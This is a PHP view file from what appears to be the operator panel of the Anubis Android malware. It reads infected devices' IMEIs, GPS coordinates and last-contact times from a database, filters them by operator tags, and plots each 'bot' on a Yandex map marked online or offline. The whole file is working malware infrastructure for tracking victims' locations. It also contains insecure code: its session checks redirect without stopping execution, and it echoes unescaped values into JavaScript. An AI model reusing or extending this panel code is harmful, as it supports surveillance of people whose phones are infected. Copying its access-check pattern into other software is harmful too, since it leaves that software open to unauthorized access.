Files
Anubis-8.0/anubis/application/views/maps.php
T
2026-08-27 10:50:54 -06:00

226 lines
5.7 KiB
PHP

<div class="content" style="height:80%; color: #000; padding: 10px;">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<!-- Если вы используете API локально, то в URL ресурса необходимо указывать протокол в стандартном виде (http://...)-->
<script src="//api-maps.yandex.ru/2.1/?lang=en_US" type="text/javascript"></script>
<script src="icon_customImage.js" type="text/javascript"></script>
<style>
html, body, #map {
width: 100%; height: 100%; padding: 0; margin: 0;
}
</style>
</head>
<div id="map"></div>
<?php
if (!(isset($_SESSION['panel_user'])))
{
session_destroy();
header("Location: /login.php");
}else{
if ($_SESSION['panel_status']!="Action"){
session_destroy();
header("Location: /login.php");
}
if (($_SESSION['panel_right']!="admin")&&($_SESSION['panel_right']!="user")){
header("Location: /index.php");
}
}
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$query = ("SELECT * FROM markers");
$query2 = ("SELECT * FROM kliets");
$IMEI ="";
$lat = "";
$lng = "";
$type = "";
$provayder = "";
$icon = "";
/****Ограничение по тегам****/
$userRights = new users_right;
$tags = explode("|", $userRights->getPrivateTags());
$thisTag = explode(",", $tags[0]);
$privateTag = explode(",", $tags[1]);
/****************************/
foreach($connection->query($query) as $row)
{
$IMEIx = $row['name'];
$latx = $row['lat'];
$lngx = $row['lng'];
$typex = $row['type'];
if($_SESSION['panel_right']!="admin")//Ограничение по тегам
{
$version_apk="||";
foreach($connection->query($query2) as $row2)
{
if($row2['IMEI']==$IMEIx)
{
$version_apk = $row2['version_apk'];
break;
}
}
if($version_apk!="||")
{
$boolContinue=true;
if($tags[0]!=",")
{
foreach($thisTag as $tag)
{
if($version_apk == $tag)
{
if($tag!="")
{
$boolContinue=false;
break;
}
}
}
if($boolContinue){
echo "$version_apk-$tag";
continue;}
}
else
{
foreach($privateTag as $tag)
{
if($version_apk == $tag)
{
if($tag!="")
{
$boolContinue=false;
break;
}
}
}
if(!$boolContinue)continue;
}
}
}
$IMEI = "$IMEI|$IMEIx";
$lat = "$lat|$latx";
$lng = "$lng|$lngx";
$type = "$type|$typex";
//******Получаем иконку состояния бота, вычисляем дату****
$arr_data_from = explode(" ", $row['time']);
$arr_data_till = explode(" ", date('Y-m-d H:i'));
$date_from = $arr_data_from[0];
$date_till = $arr_data_till[0];
$date_from = explode('-', $date_from);
$date_till = explode('-', $date_till);
$time_from = mktime(0, 0, 0, $date_from[1], $date_from[2], $date_from[0]);
$time_till = mktime(0, 0, 0, $date_till[1], $date_till[2], $date_till[0]);
$day = ($time_till - $time_from)/60/60/24; //получаем разницу кол-во дней!
//----------Секунды!-------/
$date1 = new \DateTime($row['time']);
$date2 = new \DateTime(date('Y-m-d H:i'));
$diff = $date2->diff($date1);
// разница в секундах
$seconds = ($diff->y * 365 * 24 * 60 * 60) + //получаем разницу в секундах!
($diff->m * 30 * 24 * 60 * 60) +
($diff->d * 24 * 60 * 60) +
($diff->h * 60 * 60) +
($diff->i * 60) +
$diff->s;
//----------обработка состояние иконки on/off-------/
if($day>=1)//Дни!
{
$icon="$icon|images/icons/market_off.png";
}
else
{
if($seconds<=240)
{
$icon="$icon|images/icons/market_on.png";
}
else
{
$icon="$icon|images/icons/market_off.png";
}
}
}
?>
<script>
ymaps.ready(function () {
var myMap = new ymaps.Map('map', {
center: [0, 0],
zoom: 2
}, {
searchControlProvider: 'yandex#search'
});
var IMEIs = '<?php echo $IMEI;?>'.split('|');
var lats = '<?php echo $lat;?>'.split('|');
var lngs = '<?php echo $lng;?>'.split('|');
var types = '<?php echo $type;?>'.split('|');
var icons = '<?php echo $icon;?>'.split('|');
for(var i=1;i<IMEIs.length;i++)
{
// Создаём макет содержимого.
MyIconContentLayout = ymaps.templateLayoutFactory.createClass(
'<div style="color: #2F4F4F; text-shadow: 0.7px 0 0.7px #fff, 0 0.7px 0.7px #fff, -0.7px 0 0.7px #fff, 0 -0.7px 0.7px #fff; font-weight: bold;">$[properties.iconContent]</div>'
),
myPlacemarkWithContent = new ymaps.Placemark([lats[i], lngs[i]], {
iconContent: "["+types[i]+"]"+IMEIs[i],
}, {
// Опции.
// Необходимо указать данный тип макета.
iconLayout: 'default#imageWithContent',
// Своё изображение иконки метки.
iconImageHref: icons[i],
// Размеры метки.
iconImageSize: [24, 24],
// Смещение левого верхнего угла иконки относительно
// её "ножки" (точки привязки).
iconImageOffset: [-24, -24],
// Смещение слоя с содержимым относительно слоя с картинкой.
iconContentOffset: [-45, 25],
// Макет содержимого.
iconContentLayout: MyIconContentLayout
});
myMap.geoObjects
.add(myPlacemarkWithContent);
}
});
</script>
</div>